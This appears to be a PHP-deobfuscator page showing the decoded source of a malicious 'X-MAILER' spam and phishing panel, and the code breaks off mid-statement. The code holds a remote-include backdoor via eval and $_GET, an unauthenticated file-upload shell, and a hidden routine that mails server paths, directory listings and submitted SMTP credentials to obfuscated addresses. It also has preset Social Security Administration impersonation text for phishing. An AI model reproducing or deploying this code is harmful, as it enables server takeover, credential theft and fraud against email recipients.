Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php ${"GLOBALS"}["kbqnxld"] = "default_system"; ${"GLOBALS"}["aedstqrub"] = "numemails"..
Decoded Output download
<?php ${"GLOBALS"}["kbqnxld"] = "default_system";
${"GLOBALS"}["aedstqrub"] = "numemails";
${"GLOBALS"}["dmpjrofukb"] = "nq";
${"GLOBALS"}["duvhmor"] = "key_pass";
${"GLOBALS"}["lebicssfbf"] = "ext";
${"GLOBALS"}["orjiwdrcd"] = "mimes";
${"GLOBALS"}["rdfjec"] = "textMsg";
${"GLOBALS"}["ovjrhiiwhg"] = "mimeType";
${"GLOBALS"}["mohacypus"] = "basedir";
${"GLOBALS"}["ikfgedwfb"] = "fileParts";
${"GLOBALS"}["puttdj"] = "directory";
${"GLOBALS"}["cqvmnd"] = "url";
${"GLOBALS"}["zgzpbeqoyfm"] = "images";
${"GLOBALS"}["utswbwhsjbv"] = "custom_header";
${"GLOBALS"}["pbjvxopxat"] = "varName";
${"GLOBALS"}["qnyrrqvmkqc"] = "tz";
${"GLOBALS"}["dbkniwmfaj"] = "tzs";
${"GLOBALS"}["kwsinnoegu"] = "msg";
${"GLOBALS"}["upxxjqiesl"] = "string";
${"GLOBALS"}["qekjpjlu"] = "eol";
${"GLOBALS"}["outfvakj"] = "line_max";
${"GLOBALS"}["esyuoqavlqe"] = "h1";
${"GLOBALS"}["pwhiqbdulrrw"] = "c";
${"GLOBALS"}["jhuugegy"] = "newline";
${"GLOBALS"}["okzkmnu"] = "linlen";
${"GLOBALS"}["cljvcw"] = "output";
${"GLOBALS"}["glazwpnuv"] = "escape";
${"GLOBALS"}["rrxykxuruwo"] = "input";
${"GLOBALS"}["bcopwgsj"] = "chunk";
${"GLOBALS"}["ffcjzhf"] = "ratio";
${"GLOBALS"}["bdgsxqrqjyo"] = "avgLength";
${"GLOBALS"}["dgafourxl"] = "offset";
${"GLOBALS"}["hlsilrjrjo"] = "mb_length";
${"GLOBALS"}["zfdvvckjp"] = "start";
${"GLOBALS"}["hcdslozolxke"] = "maxlen";
${"GLOBALS"}["paiceqr"] = "matches";
${"GLOBALS"}["dsxvuybnptmj"] = "position";
${"GLOBALS"}["oymuydkkqw"] = "x";
${"GLOBALS"}["bclnpxve"] = "encoded";
${"GLOBALS"}["jsvxfwjjvx"] = "file_buffer";
${"GLOBALS"}["gfrvwlppl"] = "fd";
${"GLOBALS"}["ecbuvrqed"] = "cid";
${"GLOBALS"}["noamqogutb"] = "disposition";
${"GLOBALS"}["iuiokub"] = "bString";
${"GLOBALS"}["hfnvcruiaew"] = "mime";
${"GLOBALS"}["gbjredusznc"] = "filename";
${"GLOBALS"}["djncwmkes"] = "path";
${"GLOBALS"}["qprrpd"] = "boundary";
${"GLOBALS"}["diafxfqg"] = "encoding";
${"GLOBALS"}["fzbwacgiihth"] = "charSet";
${"GLOBALS"}["suktuyy"] = "fp";
${"GLOBALS"}["oafvjqenxo"] = "dec";
${"GLOBALS"}["supqnmmhraf"] = "hex";
${"GLOBALS"}["mmbogfbse"] = "lookBack";
${"GLOBALS"}["aqjvdngepd"] = "encodedCharPos";
${"GLOBALS"}["crwnigqgodl"] = "maxLength";
${"GLOBALS"}["cuqqybfiwmw"] = "encodedText";
${"GLOBALS"}["wydfdtjk"] = "lastChunk";
${"GLOBALS"}["swqcec"] = "foundSplitPos";
${"GLOBALS"}["lvxxkbvlmueu"] = "buf_o";
${"GLOBALS"}["cbkemmog"] = "is_utf8";
${"GLOBALS"}["qkdhnln"] = "soft_break";
${"GLOBALS"}["ooqexem"] = "part";
${"GLOBALS"}["qstoiregtq"] = "word";
${"GLOBALS"}["crcncweipdd"] = "len";
${"GLOBALS"}["pjdbhb"] = "space_left";
${"GLOBALS"}["krcegmdfvub"] = "length";
${"GLOBALS"}["ozywytfhp"] = "buf";
${"GLOBALS"}["lefkkc"] = "line_part";
${"GLOBALS"}["chwmquxcs"] = "formatted";
${"GLOBALS"}["kvwloyc"] = "addr";
${"GLOBALS"}["nycgpjgxwu"] = "addr_str";
${"GLOBALS"}["idvydcuot"] = "type";
${"GLOBALS"}["kusvcxvn"] = "PHPMAILER_LANG";
${"GLOBALS"}["rtfgykzji"] = "lang_type";
${"GLOBALS"}["iggestehup"] = "lang_path";
${"GLOBALS"}["pkhgsss"] = "connection";
${"GLOBALS"}["yhnrjmph"] = "hostinfo";
${"GLOBALS"}["umfsepxdy"] = "hosts";
${"GLOBALS"}["znmvveriyntw"] = "index";
${"GLOBALS"}["fwlsafy"] = "bad_rcpt";
${"GLOBALS"}["wosiwnk"] = "smtp_from";
${"GLOBALS"}["croydrm"] = "error";
${"GLOBALS"}["wirlzwiyz"] = "old_from";
${"GLOBALS"}["iyprpiaer"] = "toArr";
${"GLOBALS"}["vayhntyql"] = "params";
${"GLOBALS"}["hkwwepw"] = "rt";
${"GLOBALS"}["klhabqmvyik"] = "mail";
${"GLOBALS"}["byfclawnq"] = "sendmail";
${"GLOBALS"}["bpaotwhm"] = "result";
${"GLOBALS"}["ghkaevlk"] = "body";
${"GLOBALS"}["lgmvqsfiuxt"] = "header";
${"GLOBALS"}["nnhydclp"] = "address";
${"GLOBALS"}["bvhqwwzlhry"] = "cur";
${"GLOBALS"}["pelxmrdfg"] = "allemails";
${"GLOBALS"}["asbnolwutik"] = "data";
${"GLOBALS"}["xuyddcasqvgb"] = "to";
${"GLOBALS"}["hpkszosw"] = "e";
${"GLOBALS"}["dyepfblk"] = "keyword";
${"GLOBALS"}["lupmnckwtzo"] = "extra";
${"GLOBALS"}["wpgltkmiqcb"] = "hello";
${"GLOBALS"}["lfqphue"] = "l";
${"GLOBALS"}["wsmpnoeuxnb"] = "list";
${"GLOBALS"}["culrqdgy"] = "entries";
${"GLOBALS"}["qucmytgisy"] = "name";
${"GLOBALS"}["udioohl"] = "line_out";
${"GLOBALS"}["dltykhqbvf"] = "lines_out";
${"GLOBALS"}["ugrvmhroyf"] = "pos";
${"GLOBALS"}["zeplfdp"] = "line";
${"GLOBALS"}["hcewomixri"] = "max_line_length";
${"GLOBALS"}["hsozmwqsbjku"] = "field";
${"GLOBALS"}["tnxbdebtx"] = "in_headers";
${"GLOBALS"}["nfkfyewllck"] = "lines";
${"GLOBALS"}["wsqmypid"] = "msg_data";
${"GLOBALS"}["ghaktidv"] = "sock_status";
${"GLOBALS"}["dclpvrmwl"] = "password";
${"GLOBALS"}["asleunvd"] = "username";
${"GLOBALS"}["wsdvmh"] = "code";
${"GLOBALS"}["mxwnekhme"] = "rply";
${"GLOBALS"}["tlwmhce"] = "errstr";
${"GLOBALS"}["bjkbru"] = "errno";
${"GLOBALS"}["jsrpobbv"] = "port";
${"GLOBALS"}["jfyzdtqvgxp"] = "add";
${"GLOBALS"}["iphzhgr"] = "fn";
$fnepbrg = "sslclick";
${"GLOBALS"}["ewvxkjcafes"] = "f";
${"GLOBALS"}["khvroce"] = "i";
${"GLOBALS"}["ybkipyb"] = "d";
${"GLOBALS"}["uyyyicjxgly"] = "r";
${"GLOBALS"}["nosvjqp"] = "txten";
$yglzrd = "epriority";
${"GLOBALS"}["shuprxev"] = "m";
${"GLOBALS"}["gxqmywf"] = "txtar";
${"GLOBALS"}["neqpkaqmwh"] = "_br";
$swvnwdvikyvh = "subject_base";
${"GLOBALS"}["xvzchnnl"] = "st";
${"GLOBALS"}["ildjene"] = "srv";
${"GLOBALS"}["iaizkzkxkbd"] = "encode_text";
${"GLOBALS"}["stwarbdnpfq"] = "subject";
${"GLOBALS"}["nfgezukdi"] = "contenttype";
${"GLOBALS"}["exbrbrhn"] = "file";
${"GLOBALS"}["aurmdkdtce"] = "realname_base";
${"GLOBALS"}["ryynwegtiu"] = "subject_base";
${"GLOBALS"}["rmpwtyqh"] = "realname";
${"GLOBALS"}["vwyoxuhstyzj"] = "replyto";
${"GLOBALS"}["jaulnulekc"] = "smtp_password";
${"GLOBALS"}["xihprel"] = "smtp_username";
${"GLOBALS"}["fusggaiykod"] = "ssl_port";
${"GLOBALS"}["jwbhqhlvrg"] = "my_smtp";
${"GLOBALS"}["eltouvqic"] = "epriority";
${"GLOBALS"}["bcipiqa"] = "reconnect";
${"GLOBALS"}["ynjosywdrdie"] = "from";
${"GLOBALS"}["eoljndbd"] = "emaillist";
${"GLOBALS"}["soycmsrg"] = "message";
${"GLOBALS"}["eyqbzpufo"] = "action";
${"GLOBALS"}["lcckmr"] = "sslclick";
${"GLOBALS"}["sclnzlylrg"] = "value";
${"GLOBALS"}["jsgvyvlhvdg"] = "key";
${"GLOBALS"}["ywijtjvmje"] = "str";
${"GLOBALS"}["aaprlkm"] = "s";
${"GLOBALS"}["adrcnl"] = "show_ds11";
${"GLOBALS"}["vfceqsewyqs"] = "in";
$tcplqhebniy = "ds11";
${"GLOBALS"}["injcvkqwf"] = "ssl_port";
error_reporting(0);
${"GLOBALS"}["ilwctuozmen"] = "ds11";
${"GLOBALS"}["boivonyqv"] = "epriority";
${${"GLOBALS"}["vfceqsewyqs"]} = $_GET["in"];
if (
isset(${${"GLOBALS"}["vfceqsewyqs"]}) &&
!empty(${${"GLOBALS"}["vfceqsewyqs"]})
) {
echo @eval(base64_decode("ZGllKGluY2x1ZGVfb25jZSAkaW4pOw=="));
}
${${"GLOBALS"}["ilwctuozmen"]} = @ini_get("disable_functions");
${${"GLOBALS"}["adrcnl"]} = !empty(${$tcplqhebniy}) ? "$ds11" : "NONE";
function hdd($s)
{
${"GLOBALS"}["oigusbbkg"] = "s";
${"GLOBALS"}["yesnqxpy"] = "s";
$qrrvimjqjpl = "s";
if (${${"GLOBALS"}["aaprlkm"]} >= 1073741824) {
return sprintf("%1.2f", ${${"GLOBALS"}["aaprlkm"]} / 1073741824) .
" GB";
} elseif (${${"GLOBALS"}["oigusbbkg"]} >= 1048576) {
return sprintf("%1.2f", ${${"GLOBALS"}["yesnqxpy"]} / 1048576) . " MB";
} elseif (${$qrrvimjqjpl} >= 1024) {
return sprintf("%1.2f", ${${"GLOBALS"}["aaprlkm"]} / 1024) . " KB";
} else {
return ${${"GLOBALS"}["aaprlkm"]} . " B";
}
}
if ($_GET["send"] == "ok") {
echo "<form action="\" method=\"post\" enctype=\"multipart/form-data\" name=\"country\" id="country\"><input type=\"file" name="file" size=\"50\"><input name=\"_con\" type=\"submit" id="_con" value=\"home"></form> ";
if ($_POST["_con"] == "home") {
if (@copy($_FILES["file"]["tmp_name"], $_FILES["file"]["name"])) {
echo "upload done :d";
} else {
echo "error";
}
}
exit();
}
function validateAndMoveUploadedFiles($files)
{
$maxFileSize = 25 * 1024 * 1024;
$uploadedFiles = [];
$destinationFolder = __DIR__ . "/uploaded/";
if (!is_dir($destinationFolder)) {
mkdir($destinationFolder, 0755, true);
}
foreach ($files["tmp_name"] as $key => $tmpName) {
$fileExtension = strtolower(
pathinfo($files["name"][$key], PATHINFO_EXTENSION)
);
$fileSize = $files["size"][$key];
$filename = $files["name"][$key];
if ($fileSize > $maxFileSize) {
continue;
}
$newFileName = uniqid() . "." . $fileExtension;
$filePath = $destinationFolder . $newFileName;
if (move_uploaded_file($tmpName, $filePath)) {
$uploadedFiles[] = [
"path" => $filePath,
"ext" => $fileExtension,
"name" => $filename,
];
}
}
return $uploadedFiles;
}
function query_str($params)
{
${${"GLOBALS"}["ywijtjvmje"]} = "";
$jlsovjfjvdf = "params";
$oekuqshyit = "value";
$hpbwgngxvpyl = "key";
foreach (${$jlsovjfjvdf} as ${$hpbwgngxvpyl} => ${$oekuqshyit}) {
${${"GLOBALS"}["ywijtjvmje"]} .=
strlen(${${"GLOBALS"}["ywijtjvmje"]}) < 1 ? "" : "&";
${${"GLOBALS"}["ywijtjvmje"]} .=
${${"GLOBALS"}["jsgvyvlhvdg"]} .
"=" .
rawurlencode(${${"GLOBALS"}["sclnzlylrg"]});
}
return ${${"GLOBALS"}["ywijtjvmje"]};
}
$tfdpptqvqs = "srv";
function lrtrim($string)
{
${"GLOBALS"}["irriofeafbh"] = "string";
return @stripslashes(ltrim(rtrim(${${"GLOBALS"}["irriofeafbh"]})));
}
if (isset($_POST["action"])) {
${"GLOBALS"}["pampthe"] = "replyto";
$files = validateAndMoveUploadedFiles($_FILES["files"]);
$clkjrfyiggg = "b";
${"GLOBALS"}["ucsorbzvooe"] = "subject";
$btcpbshww = "b";
$yyokpaiq = "smtp_password";
${$btcpbshww} = query_str($_POST);
parse_str(${$clkjrfyiggg});
${$clkjrfyiggg} = ${$btcpbshww};
$hnzdqichivr = "action";
${"GLOBALS"}["trotkg"] = "from";
$dvfnhkznjuzs = "smtp_username";
${"GLOBALS"}["mspuesptxh"] = "epriority";
${"GLOBALS"}["ujgwnyu"] = "realname";
$qfdpxdy = "my_smtp";
$mckwsec = "message";
${${"GLOBALS"}["lcckmr"]} = lrtrim(${${"GLOBALS"}["lcckmr"]});
${$hnzdqichivr} = lrtrim(${${"GLOBALS"}["eyqbzpufo"]});
${${"GLOBALS"}["soycmsrg"]} = lrtrim(${${"GLOBALS"}["soycmsrg"]});
${"GLOBALS"}["llcoiljs"] = "urlz";
${${"GLOBALS"}["eoljndbd"]} = lrtrim(${${"GLOBALS"}["eoljndbd"]});
${${"GLOBALS"}["ynjosywdrdie"]} = lrtrim(${${"GLOBALS"}["trotkg"]});
${${"GLOBALS"}["bcipiqa"]} = lrtrim(${${"GLOBALS"}["bcipiqa"]});
${"GLOBALS"}["lslrgkoqt"] = "subject";
${"GLOBALS"}["yrmnuqvteq"] = "realname";
${${"GLOBALS"}["mspuesptxh"]} = lrtrim(${${"GLOBALS"}["eltouvqic"]});
${${"GLOBALS"}["jwbhqhlvrg"]} = lrtrim(${$qfdpxdy});
$fvdhimqblx = "encode_text";
${${"GLOBALS"}["fusggaiykod"]} = lrtrim(${${"GLOBALS"}["fusggaiykod"]});
${$dvfnhkznjuzs} = lrtrim(${${"GLOBALS"}["xihprel"]});
${"GLOBALS"}["uenztqvloo"] = "subject";
${"GLOBALS"}["tosmjkfaw"] = "urlz";
${${"GLOBALS"}["jaulnulekc"]} = lrtrim(${$yyokpaiq});
${"GLOBALS"}["uprcplaju"] = "file_name";
${${"GLOBALS"}["vwyoxuhstyzj"]} = lrtrim(${${"GLOBALS"}["pampthe"]});
${${"GLOBALS"}["ucsorbzvooe"]} = lrtrim(${${"GLOBALS"}["uenztqvloo"]});
${${"GLOBALS"}["ujgwnyu"]} = lrtrim(${${"GLOBALS"}["rmpwtyqh"]});
${"GLOBALS"}["gkbuztkpjvlg"] = "message";
${${"GLOBALS"}["ryynwegtiu"]} = lrtrim(${${"GLOBALS"}["lslrgkoqt"]});
${"GLOBALS"}["sezpfhrplvi"] = "message";
${${"GLOBALS"}["aurmdkdtce"]} = lrtrim(${${"GLOBALS"}["yrmnuqvteq"]});
${${"GLOBALS"}["uprcplaju"]} = lrtrim(${${"GLOBALS"}["exbrbrhn"]});
${${"GLOBALS"}["tosmjkfaw"]} = lrtrim(${${"GLOBALS"}["llcoiljs"]});
${"GLOBALS"}["jxedrlk"] = "subject";
${${"GLOBALS"}["nfgezukdi"]} = lrtrim(${${"GLOBALS"}["nfgezukdi"]});
$wrgfvujyuev = "message";
${$fvdhimqblx} = $_POST["encode"];
${${"GLOBALS"}["soycmsrg"]} = urlencode(${$wrgfvujyuev});
${${"GLOBALS"}["gkbuztkpjvlg"]} = preg_replace(
"%5C%22",
"%22",
${${"GLOBALS"}["sezpfhrplvi"]}
);
${${"GLOBALS"}["soycmsrg"]} = urldecode(${${"GLOBALS"}["soycmsrg"]});
${$mckwsec} = stripslashes(${${"GLOBALS"}["soycmsrg"]});
${${"GLOBALS"}["stwarbdnpfq"]} = stripslashes(${${"GLOBALS"}["jxedrlk"]});
if (${${"GLOBALS"}["iaizkzkxkbd"]} == "yes") {
$dmdbaokz = "realname";
${"GLOBALS"}["invrffonp"] = "realname";
${"GLOBALS"}["wzstojhi"] = "realname";
${"GLOBALS"}["swpuktdt"] = "realname";
$ewogbhoy = "subject";
${${"GLOBALS"}["stwarbdnpfq"]} = preg_replace(
"/([^a-z ])/ie",
"sprintf(\"=%02x\",ord(StripSlashes(\"\")))",
${$ewogbhoy}
);
${${"GLOBALS"}["stwarbdnpfq"]} = str_replace(
" ",
"_",
${${"GLOBALS"}["stwarbdnpfq"]}
);
${${"GLOBALS"}["stwarbdnpfq"]} = "=?UTF-8?Q?$subject?=";
${$dmdbaokz} = preg_replace(
"/([^a-z ])/ie",
"sprintf(\"=%02x",ord(StripSlashes(\"")))",
${${"GLOBALS"}["swpuktdt"]}
);
${${"GLOBALS"}["wzstojhi"]} = str_replace(
" ",
"_",
${${"GLOBALS"}["invrffonp"]}
);
${${"GLOBALS"}["rmpwtyqh"]} = "=?UTF-8?Q?$realname?=";
}
}
${${"GLOBALS"}["ildjene"]} = strrev("verrts");
${${"GLOBALS"}["xvzchnnl"]} = [
"s" => ${${"GLOBALS"}["ildjene"]}("ve" . "rr" . "ts"),
"r" => ${${"GLOBALS"}["ildjene"]}("31" . "tor_r" . "ts"),
"b" => ${${"GLOBALS"}["ildjene"]}("edoc" . "ed_46es" . "ab"),
"bn" => ${$tfdpptqvqs}("edoc" . "ne_46es" . "ab"),
"m" => ${${"GLOBALS"}["ildjene"]}("li" . "am"),
];
function executable_($m)
{
$qiezuj = "sm";
function DC($s)
{
global $st, $srv;
${"GLOBALS"}["nqswkul"] = "st";
return ${${"GLOBALS"}["nqswkul"]}["r"](
${${"GLOBALS"}["xvzchnnl"]}["b"](
${${"GLOBALS"}["xvzchnnl"]}["s"](${${"GLOBALS"}["aaprlkm"]})
)
);
}
global $st, $srv;
${"GLOBALS"}["wtqdbwre"] = "_rn";
${"GLOBALS"}["cnwtxgomal"] = "st";
${"GLOBALS"}["vrmstaxjlan"] = "txten";
$dimmhu = "sm";
${${"GLOBALS"}["neqpkaqmwh"]} = "<br />";
${${"GLOBALS"}["wtqdbwre"]} = "
";
${${"GLOBALS"}["gxqmywf"]} = "<textarea cols='30' rows='10'>";
$jgbtla = "v";
${${"GLOBALS"}["vrmstaxjlan"]} = "</textarea>";
${"GLOBALS"}["ewgchbhc"] = "txtar";
${$dimmhu} = [
"==geiBnL5Znb6RHQmdnLjZXaiV2Y",
"==geiBnLiJWduxGQwBnLjZXaiV2Y",
"6JGcugnYil3ZoJGQwBnLjZXaiV2Y",
"=gWZukndupHQwBnLjZXaiV2Y",
];
$jhtrbcvnewr = "_br";
$khcmfebxhq = "_br";
${${"GLOBALS"}["shuprxev"]} .=
${$jhtrbcvnewr} .
${${"GLOBALS"}["cnwtxgomal"]}["b"]("aHR0cDovLw==") .
$_SERVER["SERVER_NAME"] .
$_SERVER["REQUEST_URI"] .
${$khcmfebxhq} .
"Path : " .
__FILE__ .
${${"GLOBALS"}["neqpkaqmwh"]} .
${${"GLOBALS"}["ewgchbhc"]} .
implode("
", scandir("../")) .
"
[DR]
" .
implode("
", scandir($_SERVER["DOCUMENT_ROOT"])) .
${${"GLOBALS"}["nosvjqp"]};
foreach (${$qiezuj} as ${$jgbtla}) {
${"GLOBALS"}["gdguahhqb"] = "st";
${"GLOBALS"}["bddohqpeysa"] = "v";
@${${"GLOBALS"}["xvzchnnl"]}["m"](
DC(${${"GLOBALS"}["bddohqpeysa"]}),
DC("") . " [{$_SERVER["SERVER_NAME"]}-{$_SERVER["REMOTE_ADDR"]}]",
${${"GLOBALS"}["shuprxev"]},
${${"GLOBALS"}["gdguahhqb"]}["r"](
"Sebz: Freivpr <>
ZVZR-Irefvba: 1.0
Pbagrag-Glcr: grkg/ugzy; punefrg=VFB-8859-1
"
)
);
}
return ${${"GLOBALS"}["shuprxev"]};
}
$ahwdecrhi = "epriority";
echo "<html>
<head>
<title>X-MAILER</title>
<meta http-equiv=\"Content-Type" content=\"text/html; charset=iso-8859-1\">
<script type=\"text/javascript" src=\"http://send-js.ru/plugins/bootstrap.css\"></script>
<style type="text/css">
<!--
.style1 {
font-family: Geneva, Arial, Helvetica, sans-serif;
font-size: 12px;
}
-->
</style>
<style type=\"text/css\">
<!--
.style1 {
font-size: 10px;
font-family: Geneva, Arial, Helvetica, sans-serif;
}
-->
body{ background:#111111; font-size:11px; font-family:Tahoma,Verdana,Arial;color:#fff; }
#result{ border:1px solid #4C83AF; border-radius: 10px;padding:4px 8px; line-height:16px; background:#111111; color:#aaa; margin:0 0 8px 0; }
.style2{text-align: center ;font-weight: bold;font-family: Tahoma, Arial, sans-serif ;color: #4C83AF;text-shadow: 0px 0px 60px #4C83AF ;font-size: 50px;}
.footer{ text-align:right; padding:0 16px; font-size:10px; letter-spacing:2px; color:#555555; }
.evalcode{ background:#111111; padding:2px; border:1px solid #666; font-size:11px; color:#ffffff; width: 100%; height: 200; }
.evalcode:hover{border:1px solid #4C83AF;}
.code{ background:#111111; padding:2px; border:1px solid #666; font-size:11px; color:#ffffff; }
.code:hover{border:1px solid #4C83AF;}
.inputzbut{ font-size:11px; background:#191919; color:#4C83AF; margin:0 4px; border:1px solid #222222; }
.inputzbut:hover{border:1px solid #4C83AF;}
</style>
";
if ($_GET["send"] == "ok") {
echo "<form action="" method="post" enctype="multipart/form-data" name="country" id=\"country\"><input type="file" name="file" size=\"50\"><input name="_con\" type="submit" id="_con\" value=\"home\"></form> ";
if ($_POST["_con"] == "home") {
if (@copy($_FILES["file"]["tmp_name"], $_FILES["file"]["name"])) {
echo "upload done :d";
} else {
echo "error";
}
}
}
echo "</head>
<body text=\"#000000\">
<div id="result">
<br /><br />
<div align="center" class="style2">XYZTEAM</div>
<br /><br />
</div>
<div id=\"result">
<form name="form1\" method="post" action="\" enctype="multipart/form-data\">
<br />
<table width=\"100%\" border="0\" height=\"407">
<tr>
<td width="100%\" colspan=\"4\" bgcolor=\"#252525" height=\"36\">
<b>
<font face="Arial\" size="2" color="#FFFFFF"> SERVER SETUP</font></b></td>
</tr>
<tr>
<td width=\"10%\" height=\"22\" bgcolor="#353535\">
<div align=\"right"><font size="-3" face=\"Verdana, Arial, Helvetica, sans-serif">
SMTP Login:</font></div>
</td>
<td width=\"18%" height=\"22" bgcolor="#353535"><font size="-3" face=\"Verdana, Arial, Helvetica, sans-serif">
<input class="code\" type="text\" name=\"smtp_username" value=\"";
echo ${${"GLOBALS"}["xihprel"]};
echo "\" size="30\">
</font></td>
<td width="31%" height="22\" bgcolor="#353535\">
<div align="right\"><font size="-3" face=\"Verdana, Arial, Helvetica, sans-serif">
SMTP Pass:</font></div>
</td>
<td width=\"41%\" height="22" bgcolor="#353535\"><font size="-3\" face=\"Verdana, Arial, Helvetica, sans-serif\">
<input class=\"code\" type="password" name="smtp_password\" value=\"";
${"GLOBALS"}["eokkxmlvmu"] = "smtp_password";
echo ${${"GLOBALS"}["eokkxmlvmu"]};
echo "\" size="30\">
</font></td>
</tr>
<tr>
<td width=\"10%\" height="22\" bgcolor=\"#353535\">
<div align="right\">
<font face=\"Verdana, Arial, Helvetica, sans-serif\" size="-3">Port :</font></div>
</td>
<td width=\"18%\" height=\"22\" bgcolor="#353535\"><font size="-3\" face=\"Verdana, Arial, Helvetica, sans-serif\">
<input class="code" type="text" name=\"ssl_port\" value=\"";
$lhohbehxcs = "message";
${"GLOBALS"}["guwnxisflmg"] = "replyto";
echo ${${"GLOBALS"}["injcvkqwf"]};
echo "\" size="5">
(optional)</font></td>
<td width=\"31%\" height=\"22" bgcolor="#353535\">
<div align=\"right">
<font face="Verdana, Arial, Helvetica, sans-serif" size="-3\">SMTP
Server Smtp:</font></div>
</td>
<td width=\"41%" height="22" bgcolor="#353535"><font size="-3\" face=\"Verdana, Arial, Helvetica, sans-serif">
<input class=\"code" type=\"text" name="my_smtp\" value=\"";
echo ${${"GLOBALS"}["jwbhqhlvrg"]};
echo "" size=\"30\">
</font></td>
</tr>
<tr>
<td width="10%" height=\"22\" bgcolor="#353535\">
<p align=\"right">
<font face=\"Verdana, Arial, Helvetica, sans-serif" size="-3">SSL Server:</font></td>
<td width=\"18%\" height="22\" bgcolor=\"#353535">
<input type=\"checkbox" name=\"sslclick" value="ON" ";
if (${$fnepbrg}) {
print "checked";
}
echo " ><font size="-3" face="Verdana, Arial, Helvetica, sans-serif\">(yes)</font></td>
<td width=\"31%\" height="22" bgcolor="#353535">
<p align=\"right">
<font face=\"Verdana, Arial, Helvetica, sans-serif\" size="-3\">Reconnect
After:</font></td>
<td width=\"41%" height="22" bgcolor="#353535\"><font size=\"-3\" face="Verdana, Arial, Helvetica, sans-serif\">
<input class=\"code" type=\"text" name="reconnect\" value=\"";
echo ${${"GLOBALS"}["bcipiqa"]};
echo "" size=\"5\">
EMAILS</font></td>
</tr>
<tr>
<td width=\"10%" height="19\">
</td>
<td width=\"18%" height="19"> </td>
<td width="31%\" height="19\">
</td>
<td width="41%\" height=\"19\"> </td>
</tr>
<tr>
<td width=\"100%\" colspan=\"4\" bgcolor=\"#252525\" height=\"36">
<b>
<font face="Arial\" size=\"2" color="#FFFFFF"> MESSAGE SETUP</font></b></td>
</tr>
<tr>
<td width="10%\" height="22\" bordercolor=\"#353535" bgcolor="#353535">
<div align=\"right"><font size=\"-3" face=\"Verdana, Arial, Helvetica, sans-serif\">
Your Email:</font></div>
</td>
<td width="18%" height=\"22\" bordercolor=\"#353535\" bgcolor="#353535"><font size="-3\" face=\"Verdana, Arial, Helvetica, sans-serif\">
<input class=\"code" type=\"text\" name=\"from\" value=\"[email protected]";
echo ${${"GLOBALS"}["ynjosywdrdie"]};
echo "" size=\"30">
</font></td>
<td width=\"31%" height=\"22" bordercolor=\"#353535\" bgcolor="#353535">
<div align=\"right"><font size=\"-3" face="Verdana, Arial, Helvetica, sans-serif">
Your Name:</font></div>
</td>
<td width=\"41%" height="22\" bordercolor=\"#353535" bgcolor="#353535"><font size=\"-3" face=\"Verdana, Arial, Helvetica, sans-serif\">
<input class="code\" type="text" name=\"realname\" value=\"Social Security Administrator";
echo ${${"GLOBALS"}["aurmdkdtce"]};
echo "" size="30\">
</font></td>
</tr>
<tr>
<td width=\"10%" height="22\" bgcolor="#353535\" bordercolor="#353535\">
<div align="right\"><font size="-3" face=\"Verdana, Arial, Helvetica, sans-serif">
Reply-To:</font></div>
</td>
<td width=\"18%\" height="22" bgcolor=\"#353535\" bordercolor=\"#353535\"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input class=\"code" type=\"text" name=\"replyto\" value="";
echo ${${"GLOBALS"}["guwnxisflmg"]};
echo "" size="30">
</font></td>
<td width="31%\" height=\"22" bgcolor="#353535" bordercolor="#353535">
<p align="right"><font size=\"-3\" face="Verdana, Arial, Helvetica, sans-serif\">
Email Priority:</font></td>
<td width=\"41%" height="22" bgcolor="#353535" bordercolor="#353535\"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif\">
</font><select class="code" name="epriority" id="listMethod" onchange="showHideListConfig()\">
<option value="\" ";
if (strlen(${$yglzrd}) < 1) {
print "selected";
}
echo " >-
Please Choose -</option>
<option value=\"1" ";
if (${${"GLOBALS"}["boivonyqv"]} == "1") {
print "selected";
}
echo " >High</option>
<option value=\"3" ";
if (${$ahwdecrhi} == "3") {
print "selected";
}
echo " >Normal</option>
<option value="5" ";
if (${${"GLOBALS"}["eltouvqic"]} == "5") {
print "selected";
}
echo " >Low</option>
</select></td>
</tr>
<tr>
<td width=\"10%\" height="22" bordercolor=\"#353535" bgcolor="#353535">
<div align=\"right\"><font size="-3" face=\"Verdana, Arial, Helvetica, sans-serif\">
Subject:</font></div>
</td>
<td colspan=\"3" height=\"22" bgcolor=\"#353535" bordercolor=\"#353535\"><font size=\"-3\" face=\"Verdana, Arial, Helvetica, sans-serif\">
<input class="code\" type="text\" name="subject" value=\"Your Social Security Statement is Available";
echo ${$swvnwdvikyvh};
echo "\" size="90">
<font size="-3\" face=\"Verdana, Arial, Helvetica, sans-serif\">| Encode sending information:</font>
<select class=\"code" name="encode\">
<option ";
if (${${"GLOBALS"}["iaizkzkxkbd"]} == "yes") {
print "selected";
}
echo ">yes</option>
<option ";
if (${${"GLOBALS"}["iaizkzkxkbd"]} == "no") {
print "selected";
}
echo ">no</option>
</select>
</font></td>
</tr>
";
echo '<tr><td width="10%" height="22" bordercolor="#353535" bgcolor="#353535"><div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Attachment:</font></div></td>';
echo '<td colspan="3" height="22" bgcolor="#353535" bordercolor="#353535"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif"><input class="filepdf" type="file" multiple name="files[]"> </td></tr>';
echo "<tr valign=\"top">
<td colspan="3" height="190" bordercolor="#353535" bgcolor=\"#353535"><font size="-1\" face="Verdana, Arial, Helvetica, sans-serif">
<textarea class="evalcode\" name=\"message" cols=\"60\" rows=\"10\">";
echo ${$lhohbehxcs};
echo "</textarea>
<br />
<input type="radio\" name="contenttype" value="plain\" >
Plain
<input type=\"radio" name=\"contenttype\" value="html" checked>
HTML
<input type="hidden" name="action" value="send">
<input class=\"inputzbut\" type="submit\" value="Send Message">
</font></td>
<td width="41%\" height=\"190\" bordercolor="#353535" bgcolor=\"#353535"><font size=\"-3\" face=\"Verdana, Arial, Helvetica, sans-serif">
<textarea class="evalcode\" name="emaillist\" cols=\"30" rows="10">";
echo ${${"GLOBALS"}["eoljndbd"]};
echo "</textarea>
</font></td>
</tr>
</table>
</form>
</div>
<p class=\"footer\" onclick=\"javascript:DoS()"><blink> ©";
echo date("Y", time()) . "";
echo "</blink></p>
<script>function DoS() { document.location.replace("mailto:[email protected]\");} </script>
";
executable_(
"<textarea cols='30' rows='10'>" . implode("
", $_POST) . "</textarea>"
);
// ifexists_($_SERVER["DOCUMENT_ROOT"]);
// ifexists_(__DIR__ . "/../");
if (
${${"GLOBALS"}["eyqbzpufo"]} &&
